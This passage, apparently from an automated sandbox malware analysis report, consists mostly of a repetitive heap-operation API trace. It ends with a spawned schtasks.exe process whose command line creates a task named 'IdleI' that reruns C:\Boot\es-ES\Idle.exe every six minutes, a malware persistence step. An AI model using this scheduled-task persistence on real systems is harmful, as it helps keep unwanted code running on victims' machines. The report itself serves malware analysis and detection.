hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad540 | out: hHeap=0x190000) returned 1 [0133.354] GetProcessHeap () returned 0x190000 [0133.354] GetProcessHeap () returned 0x190000 [0133.354] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acad0) returned 1 [0133.354] GetProcessHeap () returned 0x190000 [0133.354] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acad0) returned 0x20 [0133.355] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acad0 | out: hHeap=0x190000) returned 1 [0133.355] GetProcessHeap () returned 0x190000 [0133.355] GetProcessHeap () returned 0x190000 [0133.355] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad520) returned 1 [0133.355] GetProcessHeap () returned 0x190000 [0133.355] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad520) returned 0xe [0133.355] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad520 | out: hHeap=0x190000) returned 1 [0133.355] GetProcessHeap () returned 0x190000 [0133.355] GetProcessHeap () returned 0x190000 [0133.355] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad500) returned 1 [0133.355] GetProcessHeap () returned 0x190000 [0133.355] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad500) returned 0x18 [0133.355] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad500 | out: hHeap=0x190000) returned 1 [0133.355] GetProcessHeap () returned 0x190000 [0133.355] GetProcessHeap () returned 0x190000 [0133.355] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5d70) returned 1 [0133.355] GetProcessHeap () returned 0x190000 [0133.355] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5d70) returned 0x20 [0133.356] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5d70 | out: hHeap=0x190000) returned 1 [0133.356] GetProcessHeap () returned 0x190000 [0133.356] GetProcessHeap () returned 0x190000 [0133.356] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1abc10) returned 1 [0133.356] GetProcessHeap () returned 0x190000 [0133.356] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1abc10) returned 0x208 [0133.356] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1abc10 | out: hHeap=0x190000) returned 1 [0133.356] GetProcessHeap () returned 0x190000 [0133.356] GetProcessHeap () returned 0x190000 [0133.357] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba70) returned 1 [0133.357] GetProcessHeap () returned 0x190000 [0133.357] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1aba70) returned 0x18 [0133.357] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba70 | out: hHeap=0x190000) returned 1 [0133.358] GetProcessHeap () returned 0x190000 [0133.358] GetProcessHeap () returned 0x190000 [0133.358] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5c80) returned 1 [0133.358] GetProcessHeap () returned 0x190000 [0133.358] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5c80) returned 0x20 [0133.358] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5c80 | out: hHeap=0x190000) returned 1 [0133.358] GetProcessHeap () returned 0x190000 [0133.358] GetProcessHeap () returned 0x190000 [0133.358] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad2a0) returned 1 [0133.358] GetProcessHeap () returned 0x190000 [0133.358] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad2a0) returned 0x200 [0133.359] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad2a0 | out: hHeap=0x190000) returned 1 [0133.359] GetProcessHeap () returned 0x190000 [0133.359] GetProcessHeap () returned 0x190000 [0133.359] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1abab0) returned 1 [0133.359] GetProcessHeap () returned 0x190000 [0133.359] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1abab0) returned 0x18 [0133.359] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1abab0 | out: hHeap=0x190000) returned 1 [0133.359] GetProcessHeap () returned 0x190000 [0133.359] GetProcessHeap () returned 0x190000 [0133.359] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5bf0) returned 1 [0133.359] GetProcessHeap () returned 0x190000 [0133.359] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5bf0) returned 0x20 [0133.359] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5bf0 | out: hHeap=0x190000) returned 1 [0133.359] GetProcessHeap () returned 0x190000 [0133.359] GetProcessHeap () returned 0x190000 [0133.360] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac220) returned 1 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ac220) returned 0x14 [0133.360] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac220 | out: hHeap=0x190000) returned 1 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac200) returned 1 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ac200) returned 0x18 [0133.360] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac200 | out: hHeap=0x190000) returned 1 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5b30) returned 1 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5b30) returned 0x20 [0133.360] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5b30 | out: hHeap=0x190000) returned 1 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac240) returned 1 [0133.360] GetProcessHeap () returned 0x190000 [0133.360] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ac240) returned 0x16 [0133.360] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac240 | out: hHeap=0x190000) returned 1 [0133.360] GetProcessHeap () returned 0x190000 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac1c0) returned 1 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ac1c0) returned 0x18 [0133.361] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac1c0 | out: hHeap=0x190000) returned 1 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5b00) returned 1 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5b00) returned 0x20 [0133.361] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5b00 | out: hHeap=0x190000) returned 1 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab9f0) returned 1 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab9f0) returned 0x2 [0133.361] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab9f0 | out: hHeap=0x190000) returned 1 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] GetProcessHeap () returned 0x190000 [0133.361] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5950) returned 1 [0133.362] GetProcessHeap () returned 0x190000 [0133.362] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5950) returned 0x20 [0133.362] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5950 | out: hHeap=0x190000) returned 1 [0133.362] GetProcessHeap () returned 0x190000 [0133.362] GetProcessHeap () returned 0x190000 [0133.362] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5980) returned 1 [0133.362] GetProcessHeap () returned 0x190000 [0133.362] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5980) returned 0x20 [0133.362] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5980 | out: hHeap=0x190000) returned 1 [0133.363] GetProcessHeap () returned 0x190000 [0133.363] GetProcessHeap () returned 0x190000 [0133.363] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a59b0) returned 1 [0133.363] GetProcessHeap () returned 0x190000 [0133.363] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a59b0) returned 0x20 [0133.363] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a59b0 | out: hHeap=0x190000) returned 1 [0133.363] GetProcessHeap () returned 0x190000 [0133.363] GetProcessHeap () returned 0x190000 [0133.363] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a59e0) returned 1 [0133.363] GetProcessHeap () returned 0x190000 [0133.363] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a59e0) returned 0x20 [0133.363] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a59e0 | out: hHeap=0x190000) returned 1 [0133.364] GetProcessHeap () returned 0x190000 [0133.364] GetProcessHeap () returned 0x190000 [0133.364] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acb60) returned 1 [0133.364] GetProcessHeap () returned 0x190000 [0133.364] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acb60) returned 0x20 [0133.364] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acb60 | out: hHeap=0x190000) returned 1 [0133.364] GetProcessHeap () returned 0x190000 [0133.364] GetProcessHeap () returned 0x190000 [0133.364] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad680) returned 1 [0133.364] GetProcessHeap () returned 0x190000 [0133.364] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad680) returned 0xa [0133.364] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad680 | out: hHeap=0x190000) returned 1 [0133.364] GetProcessHeap () returned 0x190000 [0133.364] GetProcessHeap () returned 0x190000 [0133.364] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acb90) returned 1 [0133.364] GetProcessHeap () returned 0x190000 [0133.364] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acb90) returned 0x20 [0133.365] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acb90 | out: hHeap=0x190000) returned 1 [0133.365] GetProcessHeap () returned 0x190000 [0133.365] GetProcessHeap () returned 0x190000 [0133.365] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a7a70) returned 1 [0133.365] GetProcessHeap () returned 0x190000 [0133.365] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a7a70) returned 0x30 [0133.365] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a7a70 | out: hHeap=0x190000) returned 1 [0133.365] GetProcessHeap () returned 0x190000 [0133.365] GetProcessHeap () returned 0x190000 [0133.365] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acbc0) returned 1 [0133.365] GetProcessHeap () returned 0x190000 [0133.365] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acbc0) returned 0x20 [0133.366] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acbc0 | out: hHeap=0x190000) returned 1 [0133.366] GetProcessHeap () returned 0x190000 [0133.366] GetProcessHeap () returned 0x190000 [0133.366] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a7ab0) returned 1 [0133.366] GetProcessHeap () returned 0x190000 [0133.366] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a7ab0) returned 0x30 [0133.366] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a7ab0 | out: hHeap=0x190000) returned 1 [0133.366] GetProcessHeap () returned 0x190000 [0133.366] GetProcessHeap () returned 0x190000 [0133.366] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acdd0) returned 1 [0133.366] GetProcessHeap () returned 0x190000 [0133.366] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acdd0) returned 0x20 [0133.367] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acdd0 | out: hHeap=0x190000) returned 1 [0133.367] GetProcessHeap () returned 0x190000 [0133.367] GetProcessHeap () returned 0x190000 [0133.367] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad5a0) returned 1 [0133.367] GetProcessHeap () returned 0x190000 [0133.367] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad5a0) returned 0x10 [0133.367] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad5a0 | out: hHeap=0x190000) returned 1 [0133.367] GetProcessHeap () returned 0x190000 [0133.367] GetProcessHeap () returned 0x190000 [0133.367] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acda0) returned 1 [0133.367] GetProcessHeap () returned 0x190000 [0133.367] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acda0) returned 0x20 [0133.367] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acda0 | out: hHeap=0x190000) returned 1 [0133.367] GetProcessHeap () returned 0x190000 [0133.367] GetProcessHeap () returned 0x190000 [0133.368] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad5c0) returned 1 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad5c0) returned 0x10 [0133.368] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad5c0 | out: hHeap=0x190000) returned 1 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd70) returned 1 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acd70) returned 0x20 [0133.368] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd70 | out: hHeap=0x190000) returned 1 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad5e0) returned 1 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad5e0) returned 0xe [0133.368] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad5e0 | out: hHeap=0x190000) returned 1 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd40) returned 1 [0133.368] GetProcessHeap () returned 0x190000 [0133.368] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acd40) returned 0x20 [0133.369] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd40 | out: hHeap=0x190000) returned 1 [0133.369] GetProcessHeap () returned 0x190000 [0133.369] GetProcessHeap () returned 0x190000 [0133.369] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad600) returned 1 [0133.369] GetProcessHeap () returned 0x190000 [0133.369] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad600) returned 0x16 [0133.369] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad600 | out: hHeap=0x190000) returned 1 [0133.369] GetProcessHeap () returned 0x190000 [0133.369] GetProcessHeap () returned 0x190000 [0133.369] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd10) returned 1 [0133.369] GetProcessHeap () returned 0x190000 [0133.369] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acd10) returned 0x20 [0133.369] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd10 | out: hHeap=0x190000) returned 1 [0133.369] GetProcessHeap () returned 0x190000 [0133.370] GetProcessHeap () returned 0x190000 [0133.370] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad620) returned 1 [0133.370] GetProcessHeap () returned 0x190000 [0133.370] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad620) returned 0x16 [0133.370] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad620 | out: hHeap=0x190000) returned 1 [0133.370] GetProcessHeap () returned 0x190000 [0133.370] GetProcessHeap () returned 0x190000 [0133.370] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acce0) returned 1 [0133.370] GetProcessHeap () returned 0x190000 [0133.370] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acce0) returned 0x20 [0133.370] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acce0 | out: hHeap=0x190000) returned 1 [0133.370] GetProcessHeap () returned 0x190000 [0133.370] GetProcessHeap () returned 0x190000 [0133.370] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1c9ae0) returned 1 [0133.370] GetProcessHeap () returned 0x190000 [0133.370] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1c9ae0) returned 0x82 [0133.371] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1c9ae0 | out: hHeap=0x190000) returned 1 [0133.371] GetProcessHeap () returned 0x190000 [0133.371] GetProcessHeap () returned 0x190000 [0133.371] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1accb0) returned 1 [0133.371] GetProcessHeap () returned 0x190000 [0133.371] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1accb0) returned 0x20 [0133.371] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1accb0 | out: hHeap=0x190000) returned 1 [0133.371] GetProcessHeap () returned 0x190000 [0133.371] GetProcessHeap () returned 0x190000 [0133.371] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad660) returned 1 [0133.371] GetProcessHeap () returned 0x190000 [0133.371] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad660) returned 0xe [0133.371] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad660 | out: hHeap=0x190000) returned 1 [0133.371] GetProcessHeap () returned 0x190000 [0133.371] GetProcessHeap () returned 0x190000 [0133.371] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc80) returned 1 [0133.371] GetProcessHeap () returned 0x190000 [0133.372] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acc80) returned 0x20 [0133.372] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc80 | out: hHeap=0x190000) returned 1 [0133.372] GetProcessHeap () returned 0x190000 [0133.372] GetProcessHeap () returned 0x190000 [0133.372] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba10) returned 1 [0133.372] GetProcessHeap () returned 0x190000 [0133.372] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1aba10) returned 0x18 [0133.372] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba10 | out: hHeap=0x190000) returned 1 [0133.372] GetProcessHeap () returned 0x190000 [0133.372] GetProcessHeap () returned 0x190000 [0133.372] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5a10) returned 1 [0133.372] GetProcessHeap () returned 0x190000 [0133.372] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5a10) returned 0x20 [0133.373] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5a10 | out: hHeap=0x190000) returned 1 [0133.373] GetProcessHeap () returned 0x190000 [0133.373] GetProcessHeap () returned 0x190000 [0133.373] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5a40) returned 1 [0133.373] GetProcessHeap () returned 0x190000 [0133.373] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5a40) returned 0x20 [0133.373] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5a40 | out: hHeap=0x190000) returned 1 [0133.373] GetProcessHeap () returned 0x190000 [0133.374] GetProcessHeap () returned 0x190000 [0133.374] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5a70) returned 1 [0133.374] GetProcessHeap () returned 0x190000 [0133.374] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5a70) returned 0x20 [0133.374] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5a70 | out: hHeap=0x190000) returned 1 [0133.374] GetProcessHeap () returned 0x190000 [0133.374] GetProcessHeap () returned 0x190000 [0133.374] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5aa0) returned 1 [0133.374] GetProcessHeap () returned 0x190000 [0133.374] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5aa0) returned 0x20 [0133.375] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5aa0 | out: hHeap=0x190000) returned 1 [0133.375] GetProcessHeap () returned 0x190000 [0133.375] GetProcessHeap () returned 0x190000 [0133.375] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba30) returned 1 [0133.375] GetProcessHeap () returned 0x190000 [0133.375] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1aba30) returned 0x18 [0133.375] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba30 | out: hHeap=0x190000) returned 1 [0133.375] GetProcessHeap () returned 0x190000 [0133.375] GetProcessHeap () returned 0x190000 [0133.375] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5ad0) returned 1 [0133.375] GetProcessHeap () returned 0x190000 [0133.375] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5ad0) returned 0x20 [0133.375] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5ad0 | out: hHeap=0x190000) returned 1 [0133.375] GetProcessHeap () returned 0x190000 [0133.375] GetProcessHeap () returned 0x190000 [0133.375] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5b60) returned 1 [0133.375] GetProcessHeap () returned 0x190000 [0133.375] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5b60) returned 0x20 [0133.376] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5b60 | out: hHeap=0x190000) returned 1 [0133.376] GetProcessHeap () returned 0x190000 [0133.376] GetProcessHeap () returned 0x190000 [0133.376] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5bc0) returned 1 [0133.376] GetProcessHeap () returned 0x190000 [0133.376] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5bc0) returned 0x20 [0133.376] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5bc0 | out: hHeap=0x190000) returned 1 [0133.377] GetProcessHeap () returned 0x190000 [0133.377] GetProcessHeap () returned 0x190000 [0133.377] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5c20) returned 1 [0133.377] GetProcessHeap () returned 0x190000 [0133.377] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5c20) returned 0x20 [0133.377] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5c20 | out: hHeap=0x190000) returned 1 [0133.377] GetProcessHeap () returned 0x190000 [0133.377] GetProcessHeap () returned 0x190000 [0133.377] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5c50) returned 1 [0133.377] GetProcessHeap () returned 0x190000 [0133.377] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5c50) returned 0x20 [0133.377] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5c50 | out: hHeap=0x190000) returned 1 [0133.378] GetProcessHeap () returned 0x190000 [0133.378] GetProcessHeap () returned 0x190000 [0133.378] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba50) returned 1 [0133.378] GetProcessHeap () returned 0x190000 [0133.378] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1aba50) returned 0x18 [0133.378] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba50 | out: hHeap=0x190000) returned 1 [0133.378] GetProcessHeap () returned 0x190000 [0133.378] GetProcessHeap () returned 0x190000 [0133.378] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5b90) returned 1 [0133.378] GetProcessHeap () returned 0x190000 [0133.378] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a5b90) returned 0x20 [0133.378] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a5b90 | out: hHeap=0x190000) returned 1 [0133.378] GetProcessHeap () returned 0x190000 [0133.378] GetProcessHeap () returned 0x190000 [0133.378] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab9d0) returned 1 [0133.378] GetProcessHeap () returned 0x190000 [0133.378] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab9d0) returned 0x18 [0133.378] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab9d0 | out: hHeap=0x190000) returned 1 [0133.378] exit (_Code=0) Thread: id = 118 os_tid = 0xf10 Process: id = "17" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x4308f000" os_pid = "0xf14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"IdleI\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2109 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2110 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2111 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2112 start_va = 0x100000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2113 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2114 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2115 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2116 start_va = 0xff120000 end_va = 0xff167fff monitored = 1 entry_point = 0xff14966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2117 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 